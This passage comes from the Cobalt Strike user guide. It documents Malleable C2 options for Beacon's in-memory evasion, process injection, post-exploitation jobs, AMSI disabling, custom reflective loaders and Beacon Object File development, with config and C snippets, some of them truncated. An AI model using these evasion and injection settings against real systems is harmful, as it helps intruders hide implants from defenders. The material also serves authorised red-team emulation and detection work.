Malleable C2 profiles are more than communication indicators. Malleable C2 profiles also control Beacon’s in-memory characteristics, determine how Beacon does process injection, and influence Cobalt Strike’s post-exploitation jobs too. The following sections document these extensions to the Malleable C2 language.

PE and Memory Indicators

Process Injection

Controlling Post Exploitation

User Defined Reflective DLL Loader

PE and Memory Indicators

The stage block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the content of the Beacon DLL.

stage {
     set userwx "false";
     set compile_time "14 Jul 2009 8:14:00";
     set image_size_x86 "512000";
     set image_size_x64 "512000"; 
     set obfuscate "true";

     transform-x86 {
          prepend "\x90\x90";
          strrep "ReflectiveLoader" "DoLegitStuff";

     transform-x64 {
          # transform the x64 rDLL stage

     stringw "I am not Beacon";

The stage block accepts commands that add strings to the .rdata section of the Beacon DLL. The string command adds a zero-terminated string. The stringw command adds a wide (UTF-16LE encoded) string. The data command adds your string as-is.

The transform-x86 and transform-x64 blocks pad and transform Beacon’s Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.

The prepend command inserts a string before Beacon’s Reflective DLL. The append command adds a string after the Beacon Reflective DLL. Make sure that prepended data is valid code for the stage’s architecture (x86, x64). The c2lint program does not have a check for this. The strrep command replaces a string within Beacon’s Reflective DLL.

The stage block accepts several options that control the Beacon DLL content and provide hints to change the behavior of Beacon’s Reflective Loader:

Option Example Description
allocator HeapAlloc Set how Beacon’s Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc.
cleanup false Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it.
magic_mz_x86 MZRE Override the first bytes (MZ header included) of Beacon’s Reflective DLL. Valid x86 instructions are required. Follow instructions that change CPU state with instructions that undo the change.
magic_mz_x64 MZAR Same as magic_mz_x86; affects x64 DLL
magic_pe PE Override the PE character marker used by Beacon’s Reflective Loader with another value.
module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc.
module_x64 xpsservices.dll Same as module_x86; affects x64 loader
obfuscate false Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
sleep_mask false Obfuscate Beacon and it’s heap, in-memory, prior to sleeping.
smartinject false Use embedded function pointer hints to bootstrap Beacon agent without walking kernel32 EAT
stomppe true Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload
userwx false Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory

Cloning PE Headers

The stage block has several options that change the characteristics of your Beacon Reflective DLL to look like something else in memory. These are meant to create indicators that support analysis exercises and threat emulation scenarios.

Option Example Description
checksum 0 The CheckSum value in Beacon’s PE header
compile_time 14 July 2009 8:14:00 The build time in Beacon’s PE header
entry_point 92145 The EntryPoint value in Beacon’s PE header
image_size_x64 512000 SizeOfImage value in x64 Beacon’s PE header
image_size_x86 512000 SizeOfImage value in x86 Beacon’s PE header
name beacon.x64.dll The Exported name of the Beacon DLL
rich_header Meta-information inserted by the compiler

Cobalt Strike’s Linux package includes a tool, peclone, to extract headers from a DLL and present them as a ready-to-use stage block:

./peclone [/path/to/sample.dll]

In-memory Evasion and Obfuscation

Use the stage block’s prepend command to defeat analysis that scans the first few bytes of a memory segment to look for signs of an injected DLL. If tool-specific strings are used to detect your agents, change them with the strrep command.

If strrep isn’t enough, set sleep_mask to true. This directs Beacon to obfuscate itself and it’s heap in-memory before it goes to sleep. After sleeping, Beacon will de-obfuscate itself to request and process tasks. The SMB and TCP Beacons will obfuscate themselves while waiting for a new connection or waiting for data from their parent session.

Decide how much you want to look like a DLL in memory. If you want to allow easy detection, set stomppe to false. If you would like to lightly obfuscate your Beacon DLL in memory, set stomppe to true. If you’d like to up the challenge, set obfuscate to true. This option will take many steps to obfuscate your Beacon stage and the final state of the DLL in memory.

One way to find memory injected DLLs is to look for the MZ and PE magic bytes at their expected locations relative to eachother. These values are not usually obfuscated as the reflective loading process depends on them. The obfuscate option does not affect these values. Set magic_pe to two letters or bytes that mark the beginning of the PE header. Set magic_mz_x86 to change these magic bytes in the x86 Beacon DLL. Set magic_mz_x64 for the x64 Beacon DLL. Follow instructions that change CPU state with instructions that undo the change. For example, MZ is the easily recognizable header sequence, but it’s also valid x86 and x64 instructions. The follow-on RE (x86) and AR (x64) are valid x86 and x64 instructions that undo the MZ changes. These hints will change the magic values in Beacon’s Reflective DLL package and make the reflective loading process use the new values.

Set userwx to false to ask Beacon’s loader to avoid RWX permissions. Memory segments with these permissions will attract extra attention from analysts and security products.

By default, Beacon’s loader allocates memory with VirtualAlloc. Use the allocator option to change this. The HeapAlloc option allocates heap memory for Beacon with RWX permissions. The MapViewOfFile allocator allocates memory for Beacon by creating an anonymous memory mapped file region in the current process. Module stomping is an alternative to these options and a way to have Beacon execute from coveted image memory. Set module_x86 to a DLL that is about twice as large as the Beacon payload itself. Beacon’s x86 loader will load the specified DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that Windows associates with a file on disk. It’s important that the DLL you choose is not needed by the applications you intend to reside in. The module_x64 option is the same story, but it affects the x64 Beacon.

If you’re worried about the Beacon stage that initializes the Beacon DLL in memory, set cleanup to true. This option will free the memory associated with the Beacon stage when it’s no longer needed.

Process Injection

The process-inject block in Malleable C2 profiles shapes injected content and controls process injection behavior for the Beacon payload.

process-inject {
     # set how memory is allocated in a remote process 
     set allocator "VirtualAllocEx";

     # shape the memory characteristics and content 
     set min_alloc "16384";
     set startrwx "true"; 
     set userwx    "false";

     transform-x86 {
          prepend "\x90\x90";

     transform-x64 {
          # transform x64 injected content

     # determine how to execute the injected code 
     execute {
          CreateThread "ntdll.dll!RtlUserThreadStart"; 

The process-inject block accepts several options that control the process injection process in Beacon:

Option Example Description
allocator VirtualAllocEx The preferred method to allocate memory in the remote process. Specify VirtualAllocEx or NtMapViewOfSection. The NtMapViewOfSection option is for same-architecture injection only. VirtualAllocEx is always used for cross-arch memory allocations.
min_alloc 4096 Minimum amount of memory to request for injected content
startrwx false Use RWX as initial permissions for injected content. Alternative is RW.
userwx false Use RWX as final permissions for injected content. Alternative is RX.

The transform-x86 and transform-x64 blocks pad content injected by Beacon. These blocks support two commands: prepend and append.

The prepend command inserts a string before the injected content. The append command adds a string after the injected content. Make sure that prepended data is valid code for the injected content’s architecture (x86, x64). The c2lint program does not have a check for this.

The execute block controls the methods Beacon will use when it needs to inject code into a process. Beacon examines each option in the execute block, determines if the option is usable for the current context, tries the method when it is usable, and moves on to the next option if code execution did not happen. The execute options include:

Option x86->x64 x64->x86 Notes
CreateThread Current process only
CreateRemoteThread Yes No cross-session
NtQueueApcThread-s This is the “Early Bird” injection technique. Suspended processes (e.g., post-ex jobs) only.
RtlCreateUserThread Yes Yes Risky on XP-era targets; uses RWX shellcode for x86 → x64 injection.
SetThreadContext Yes Suspended processes (e.g., post-ex jobs) only.

The CreateThread and CreateRemoteThread options have variants that spawn a suspended thread with the address of another function, update the suspended thread to execute the injected code, and resume that thread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull from. The optional 0x## part is an offset added to the start address. These variants work x86 → x86 and x64 → x64 only.

The execute options you choose must cover a variety of corner cases. These corner cases include self injection, injection into suspended temporary processes, cross-session remote process injection, x86 → x64 injection, x64 → x86 injection, and injection with or without passing an argument. The c2lint tool will warn you about contexts that your execute block does not cover.

Controlling Process Injection

Cobalt Strike 4.5 added support to allow users to define their own process injection technique instead of using the built-in techniques. This is done through the PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT hook functions. Cobalt Strike will call one of these hook functions when executing post exploitation commands. See the section on the hook for a table of supported commands.

The two hooks will cover most of the post exploitation commands. However, there are some exceptions which will not use these hooks and will continue to use the built-in technique.

Beacon Command Aggressor Script function
shell &bshell
execute-assembly &bexecute_assembly

To implement your own injection technique, you will be required to supply a Beacon Object File (BOF) containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the hook function. See the Process Injection Hook Examples in the Community Kit.

Since you are implementing your own injection technique, the process-inject settings in your Malleable C2 profile will not be used unless your BOF calls the Beacon API function BeaconInjectProcess or BeaconInjectTemporaryProcess. These functions implement the default injection and most likely will not be used unless it is to implement a fallback to the default technique.

Process Injection Spawn

The PROCESS_INJECT_SPAWN hook is used to define the fork&run process injection technique. The following beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique.

Note the following:

  • The elevate, runasadmin, &belevate, &brunasadmin and [beacon] → Access → Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick.
  • For the net and &bnet command the ‘domain’ command will not use the hook.
  • The ‘(use a hash)’ note means select a credential that references a hash.

Job Types

Command Aggressor Script UI
browserpivot &bbrowserpivot [beacon] → Explore → Browser Pivot
dcsync &bdcsync
dllinject &bdllinject
hashdump [&bhashdump] (
inject &binject [Process Browser] → Inject
keylogger &bkeylogger [Process Browser] → Log Keystrokes
logonpasswords &blogonpasswords
mimikatz &bmimikatz
net &bnet
portscan &bportscan
printscreen &bprintscreen
psinject &bpsinject
pth &bpassthehash
screenshot &bscreenshot [Process Browser] → Screenshot (Yes)
screenwatch &bscreenwatch [Process Browser] → Screenshot (No)
shinject &bshinject
ssh &bssh
ssh-key &bssh_key

Controlling Post Exploitation

Larger Cobalt Strike post-exploitation features (e.g., screenshot, keylogger, hashdump, etc.) are implemented as Windows DLLs. To execute these features, Cobalt Strike spawns a temporary process, and injects the feature into it. The process-inject block controls the process injection step. The post-ex block controls the content and behaviors specific to Cobalt Strike’s post- exploitation features. With the 4.5 release these post-exploitation features now support explicit injection into an existing process when using the [pid] and [arch] arguments.

post-ex {
      # control the temporary process we spawn to
      set spawnto_x86 "%windir%\\syswow64\\rundll32.exe"; 
      set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";

      # change the permissions and content of our post-ex DLLs 
      set obfuscate "true";

      # change our post-ex output named pipe names... 
      set pipename "evil_####, stuff\\not_##_ev#l";

      # pass key function pointers from Beacon to its child jobs 
      set smartinject "true";

      # disable AMSI in powerpick, execute-assembly, and psinject 
      set amsi_disable "true";

The spawnto_x86 and spawnto_x64 options control the default temporary process Beacon will spawn for its post-exploitation features. Here are a few tips for these values:

  • Always specify the full path to the program you want Beacon to spawn
  • Environment variables (e.g., %windir%) are OK within these paths.
  • Do not specify %windir%\system32 or c:\windows\system32 directly. Always use syswow64 (x86) and sysnative (x64). Beacon will adjust these values to system32 where it’s necessary.
  • For an x86 spawnto value, you must specify an x86 program. For an x64 spawnto value, you must specify an x64 program.
  • The paths you specify (minus the automatic syswow64/sysnative adjustment) must exist from both an x64 (native) and x86 (wow64) view of the file system.

The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block. Some long-running post-ex DLLs will mask and unmask their string table, as needed, when this option is set.

Use pipename to change the named pipe names used, by post-ex DLLs, to send output back to Beacon. This option accepts a comma-separated list of pipenames. Cobalt Strike will select a random pipe name from this option when it sets up a post-exploitation job. Each # in the pipename is replaced with a valid hex character as well.

The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory accesses to the PEB and kernel32.dll.

The thread_hint option allows multi-threaded post-ex DLLs to spawn threads with a spoofed start address. Specify the thread hint as “module!function+0x##” to specify the start address to spoof. The optional 0x## part is an offset added to the start address.

The amsi_disable option directs powerpick, execute-assembly, and psinject to patch the AmsiScanBuffer function before loading .NET or PowerShell code. This limits the Antimalware Scan Interface visibility into these capabilities.

Set the keylogger option to configure Cobalt Strike’s keystroke logger. The GetAsyncKeyState option (default) uses the GetAsyncKeyState API to observe keystrokes. The SetWindowsHookEx option uses SetWindowsHookEx to observe keystrokes.

User Defined Reflective DLL Loader

Cobalt Strike 4.4 added support for using customized reflective loaders for beacon payloads. The User Defined Reflective Loader (UDRL) Kit is the source code for the UDRL example. Go to Help → Arsenal and download the UDRL Kit. Your licence key is required.


The reflective loader’s executable code is the extracted .text section from a user provided compiled object file. The extracted executable code must be less than 100KB.


The following Aggressor script hooks are provided to allow implementation of User Defined Reflective Loaders:

Function Description
BEACON_RDLL_GENERATE Hook used to implement basic Reflective Loader replacement.
BEACON_RDLL_SIZE This hook is called when preparing beacons and allows the user to configure more than 5 KB space for their reflective loader (up to 100KB).
BEACON_RDLL_GENERATE_LOCAL Hook used to implement advanced Reflective Loader replacement. Additional arguments provided include Beacon ID, GetModuleHandleA address, and GetProcAddress address.

The following Aggressor script functions are provided to extract the Reflective Loader executable code (.text section) from a compiled object file and insert the executable code into the beacon payload:

Function Description
extract_reflective_loader Extracts the Reflective Loader executable code from a byte array containing a compiled object file.
setup_reflective_loader Inserts the Reflective Loader executable code into the beacon payload.

The following Aggressor script function is provided to obtain information about the beacon payload to assist with custom modifications to the payload:

Function Description
pedump Loads a map of information about the beacon payload. This map information is similar to the output of the “peclone” command with the “dump” argument.

The following Aggressor script functions are provided to perform custom modifications to the beacon payload:


Depending on the custom modifications made (obfuscation, mask, etc…), the reflective loader may have to reverse those modifications when loading.

Function Description
pe_insert_rich_header Insert rich header data into Beacon DLL Content. If there is existing rich header information, it will be replaced.
pe_mask Mask data in the Beacon DLL Content based on position and length.
pe_mask_section Mask data in the Beacon DLL Content based on position and length.
pe_mask_string Mask a string in the Beacon DLL Content based on position.
pe_patch_code Patch code in the Beacon DLL Content based on find/replace in ‘.text’ section’.
pe_remove_rich_header Remove the rich header from Beacon DLL Content.
pe_set_compile_time_with_long Set the compile time in the Beacon DLL Content.
pe_set_compile_time_with_string Set the compile time in the Beacon DLL Content.
pe_set_export_name Set the export name in the Beacon DLL Content.
pe_set_long Places a long value at a specified location.
pe_set_short Places a short value at a specified location.
pe_set_string Places a string value at a specified location.
pe_set_stringz Places a string value at a specified location and adds a zero terminator.
pe_set_value_at Sets a long value based on the location resolved by a name from the PE Map (see pedump).
pe_stomp Set a string to null characters. Start at a specified location and sets all characters to null until a null string terminator is reached.
pe_update_checksum Update the checksum in the Beacon DLL Content.

Using User Defined Reflective DLL Loaders

Create/Compile your Reflective Loaders

The User Defined Reflective Loader (UDRL) Kit is the source code for the UDRL example. Go to Help → Arsenal and download the UDRL Kit (your license key is required).

The following is the Cobalt Strike process for prepping beacons:

  • The BEACON_RDLL_SIZE hook is called when preparing beacons.
    • This gives the user a chance to indicate that more than 5 KB space will be required for their reflective loader.
    • Users can use beacons with space reserved for a reflective loader up to 100 KB.
    • When overriding available reflective loader space in the beacons, the beacons will be much larger. In fact, they will be too large for standard artifacts provided by Cobalt Strike. Users will need to update their process to use customized artifacts with larger reserved space for the larger beacons.
  • Beacons are patched with required settings as payload data.
    • The following are patched into Beacons for UDRL:
      • Listener Settings
      • Some Malleable C2 Settings.Using sleepmask and userwx requires a reflective loader capable of creating memory for the .text executable code with RWX permissions, or the beacon will crash when masking/unmasking write protected memory. The default reflective loaders normally handle this.Using sleepmask and obfuscate requires a reflective loader capable of removing the 1st 4K block (Header) of the DLL as the header will not be masked.
    • The following is NOT patched into Beacons for UDRL:
      • PE Modifications
  • BEACON_RDLL_GENERATE is normally called. BEACON_RDLL_GENERATE_LOCAL hook is called when:
    • The following determines which is called:
      • Malleable C2 has “.stage.smartinject” set on.
    • Use extract_reflective_loader function to extract the reflective loader.
    • Use setup_reflective_loader function to patch the extracted reflective loader into the reflective loader space in the Beacons.
      • If the loader is too big for the selected beacon, you will see a message like this:
        • Reflective DLL Content length (123456) exceeds available space (5120).
      • Use “BEACON_RDLL_SIZE” to use a beacons with larger Reflective Loaders.
    • There are additional functions available to help inspect and make modifications to the Beacons based on the Reflective Loaders capabilities. For example:
      • Provide obfuscation
      • Patch in addresses for smart inject support
  • Beacons are patched into artifacts.
    • Beacons that have been built with the larger reflective loader space (per “BEACON_RDLL_SIZE” above) will need to be loaded into customized artifacts with space to hold large beacons.
    • Go to Help → Arsenal from a licensed Cobalt Strike to download the Artifact Kit.
    • See the “stagesize” references in these artifact kit files provided by Cobalt Strike:
      • See “stagesize” references in artifact build script.
      • See “stagesize” references in ‘script.example’

Beacon Object Files

A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features.

What are the advantages of BOFs?

One of the key roles of an command&control platform is to provide ways to use external post-exploitation functionality. Cobalt Strike already has tools to use PowerShell, .NET, and Reflective DLLs. These tools rely on an OPSEC expensive fork&run pattern that involves a process create and injection for each post-exploitation action. BOFs have a lighter footprint. They run inside of a Beacon process and are cleaned up after the capability is done.

BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may weigh in at 100KB+. The same exploit, built as a BOF, is <3KB. This can make a big difference when using bandwidth constrained channels, such as DNS.

Finally, BOFs are easy to develop. You just need a Win32 C compiler and a command line. Both MinGW and Microsoft’s C compiler can produce BOF files. You don’t have to fuss with project settings that are sometimes more effort than the code itself.

How do BOFs work?

To Beacon, a BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs.

To Cobalt Strike, a BOF is an object file produced by a C compiler. Cobalt Strike parses this file and acts as a linker and loader for its contents. This approach allows you to write position-independent code, for use in Beacon, without tedious gymnastics to manage strings and dynamically call Win32 APIs.

What are the disadvantages of BOFs?

BOFs are single-file C programs that call Win32 APIs and limited Beacon APIs. Don’t expect to link in other functionality or build large projects with this mechanism.

Cobalt Strike does not link your BOF to a libc. This mean you’re limited to compiler intrinsics (e.g., __stosb on Visual Studio for memset), the exposed Beacon internal APIs, Win32 APIs, and the functions that you write. Expect that a lot of common functions (e.g., strlen, stcmp, etc.) are not available to you via a BOF.

BOFs execute inside of your Beacon agent. If a BOF crashes, you or a friend you value will lose an access. Write your BOFs carefully.

Cobalt Strike expects that your BOFs are single-threaded programs that run for a short period of time. BOFs will block other Beacon tasks and functionality from executing. There is no BOF pattern for asynchronous or long-running tasks. If you want to build a long-running capability, consider a Reflective DLL that runs inside of a sacrificial process.

How do I develop a BOF?

Easy. Open up a text editor and start writing a C program. Here’s a Hello World BOF:

#include <windows.h>
#include "beacon.h"

void go(char * args, int alen) {
	BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);

Download beacon.h (you’ll need it):

To compile this with Visual Studio:

cl.exe /c /GS- hello.c /Fohello.o

To compile this with x86 MinGW:

i686-w64-mingw32-gcc -c hello.c -o hello.o

To compile this with x64 MinGW:

x86_64-w64-mingw32-gcc -c hello.c -o hello.o

The above commands will produce a hello.o file. Use inline-execute in Beacon to run the BOF.

beacon> inline-execute /path/to/hello.o these are arguments

beacon.h contains definitions for several internal Beacon APIs. The function go is similar to main in any other C program. It’s the function that’s called by inline-execute and arguments are passed to it. BeaconOutput is an internal Beacon API to send output to the operator. Not much to it.

Dynamic Function Resolution

GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are available within BOF files. You have the option to use these to resolve Win32 APIs you wish to call. Another option is to use Dynamic Function Resolution (DFR).

Dynamic Function Resolution is a convention to declare and call Win32 APIs as LIBRARY$Function. This convention provides Beacon the information it needs to explicitly resolve the specific function and make it available to your BOF file before it runs. When this process fails, Cobalt Strike will refuse to execute the BOF and tell you which function it couldn’t resolve.

Here’s an example BOF that uses DFR and looks up the current domain:

#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"


void go(char * args, int alen) {
	DWORD dwRet;

	dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
	if (ERROR_SUCCESS == dwRet) {
		BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);


The above code makes DFR calls to DsGetDcNameA and NetApiBufferFree from NETAPI32. When you declare function prototypes for Dynamic Function Resolution, pay close attention to the decorators attached to the function declaration. Keywords, such as WINAPI and DECLSPEC_IMPORT are important. These decorations provide the compiler with the needed hints to pass arguments and generate the right call instruction.

Aggressor Script and BOFs

You’ll likely want to use Aggressor Script to run your finalized BOF implementations within Cobalt Strike. A BOF is a good place to implement a lateral movement technique, an escalation of privilege tool, or a new reconaissance capability.

The &beacon_inline_execute function is Aggressor Script’s entry point to run a BOF file. Here is a script to run a simple Hello World program:

alias hello {
	local('$barch $handle $data $args');
	# figure out the arch of this session
	$barch  = barch($1);
	# read in the right BOF file
	$handle = openf(script_resource("hello. $+ $barch $+ .o"));
	$data   = readb($handle, -1);
	# pack our arguments
	$args   = bof_pack($1, "zi", "Hello World", 1234);
	# announce what we're doing
	btask($1, "Running Hello BOF");
	# execute it.
	beacon_inline_execute($1, $data, "demo", $args);

The script first determines the architecture of the session. An x86 BOF will only run in an x86 Beacon session. Conversely, an x64 BOF will only run in an x64 Beacon session. This script then reads target BOF into an Aggressor Script variable. The next step is to pack our arguments. The &bof_pack function packs arguments in a way that is compatible with Beacon’s internal data parser API. This script uses the customary &btask to log the action the user asked Beacon to perform. And, &beacon_inline_execute runs the BOF with its arguments.

The &beacon_inline_execute function accepts the Beacon ID as the first argument, a string containing the BOF content as a second argument, the entry point as its third argument, and the packed arguments as its fourth argument. The option to choose an entrypoint exists in case you choose to combine like-functionality into a single BOF.

Here is the C program that corresponds to the above script:

 * Compile with:
 * x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
 * i686-w64-mingw32-gcc -c hello.c -o hello.x86.o

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "beacon.h"

void demo(char * args, int length) {
	datap  parser;
	char * str_arg;
	int    num_arg;
	BeaconDataParse(&parser, args, length);
	str_arg = BeaconDataExtract(&parser, NULL);
	num_arg = BeaconDataInt(&parser);
	BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_arg);

The demo function is our entrypoint. We declare the datap structure on the stack. This is an empty and unintialized structure with state information for extracting arguments prepared with &bof_pack. BeaconDataParse initializes our parser. BeaconDataExtract extracts a length-prefixed binary blob from our arguments. Our pack function has options to pack binary blobs as zero-terminated strings encoded to the session’s default character set, a zero-terminated wide-character string, or a binary blob without transformation. The BeaconDataInt extracts an integer that was packed into our arguments. BeaconPrintf is one way to format output and make it available to the operator.


Data Parser API

The Data Parser API extracts arguments packed with Aggressor Script’s &bof_pack function.

char * BeaconDataExtract (datap * parser, int * size)

Extract a length-prefixed binary blob. The size argument may be NULL. If an address is provided, size is populated with the number-of-bytes extracted.

int BeaconDataInt (datap * parser)

Extract a 4b integer

int BeaconDataLength (datap * parser)

Get the amount of data left to parse

void BeaconDataParse (datap * parser, char * buffer, int size)

Prepare a data parser to extract arguments from the specified buffer

short BeaconDataShort (datap * parser)

Extract a 2b integer

Output API

The Output API returns output to Cobalt Strike.

void BeaconPrintf (int type, char * fmt, …)

Format and present output to the Beacon operator

void BeaconOutput (int type, char * data, int len)Send output to the Beacon operator

Each of these functions accepts a type argument. This type determines how Cobalt Strike will process the output and what it will present the output as. The types are:

CALLBACK_OUTPUT is generic output.

Cobalt Strike will convert this output to UTF-16 (internally) using the target’s default character set.

CALLBACK_OUTPUT_OEM is generic output.

Cobalt Strike will convert this output to UTF-16 (internally) using the target’s OEM character set. You probably won’t need this, unless you’re dealing with output from cmd.exe.

CALLBACK_ERROR is a generic error message.

CALLBACK_OUTPUT_UTF8 is generic output.

Cobalt Strike will convert this output to UTF-16 (internally) from UTF-8.

Format API

The format API is used to build large or repeating output.

void BeaconFormatAlloc (formatp * obj, int maxsz)

Allocate memory to format complex or large output

void BeaconFormatAppend (formatp * obj, char * data, int len)

Append data to this format object

void BeaconFormatFree (formatp * obj)

Free the format object

void BeaconFormatInt (formatp * obj, int val)

Append a 4b integer (big endian) to this object

void BeaconFormatPrintf (formatp * obj, char * fmt, …)

Append a formatted string to this object

void BeaconFormatReset (formatp * obj)

Resets the format object to its default state (prior to re-use)

char * BeaconFormatToString (formatp * obj, int * size)

Extract formatted data into a single string. Populate the passed in size variable with the length of this string. These parameters are suitable for use with the BeaconOutput function.

Internal APIs

The following functions manipulate the token used in the current Beacon context:

BOOL BeaconUseToken (HANDLE token)

Apply the specified token as Beacon’s current thread token. This will report the new token to the user too. Returns TRUE if successful. FALSE is not.

void BeaconRevertToken ()

Drop the current thread token. Use this over direct calls to RevertToSelf. This function cleans up other state information about the token.

BOOL BeaconIsAdmIn ()

Returns TRUE if Beacon is in a high-integrity context

The following functions provide some access to Beacon’s process injection capability:

void BeaconGetSpawnTo (BOOL x86, char * buffer, int length)

Populate the specified buffer with the x86 or x64 spawnto value configured for this Beacon session.

BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo)

This function spawns a temporary process accounting for ppid, spawnto, and blockdlls options. Grab the handle from PROCESS_INFORMATION to inject into or manipulate this process. Returns TRUE if successful.

void BeaconInjectProcess (HANDLE hProc, int pid, char * payload, int payload_len, int payload_offset, char * arg, int arg_len)

This function will inject the specified payload into an existing process. Use payload_offset to specify the offset within the payload to begin execution. The arg value is for arguments. arg may be NULL.

void BeaconInjectTemporaryProcess (PROCESS_INFORMATION * pInfo, char * payload, int payload_len, int payload_offset, char * arg, int arg_len)

This function will inject the specified payload into a temporary process that your BOF opted to launch. Use payload_offset to specify the offset within the payload to begin execution. The arg value is for arguments. arg may be NULL.

void BeaconCleanupProcess (PROCESS_INFORMATION * pInfo)

This function cleans up some handles that are often forgotten about. Call this when you’re done interacting with the handles for a process. You don’t need to wait for the process to exit or finish.

The following function is a utility function:

BOOL toWideChar (char * src, wchar_t * dst, int max)

Convert the src string to a UTF16-LE wide-character string, using the target’s default encoding. max is the size (in bytes!) of the destination buffer.

Continue Reading User Guide - Part 3 (Aggressor Script)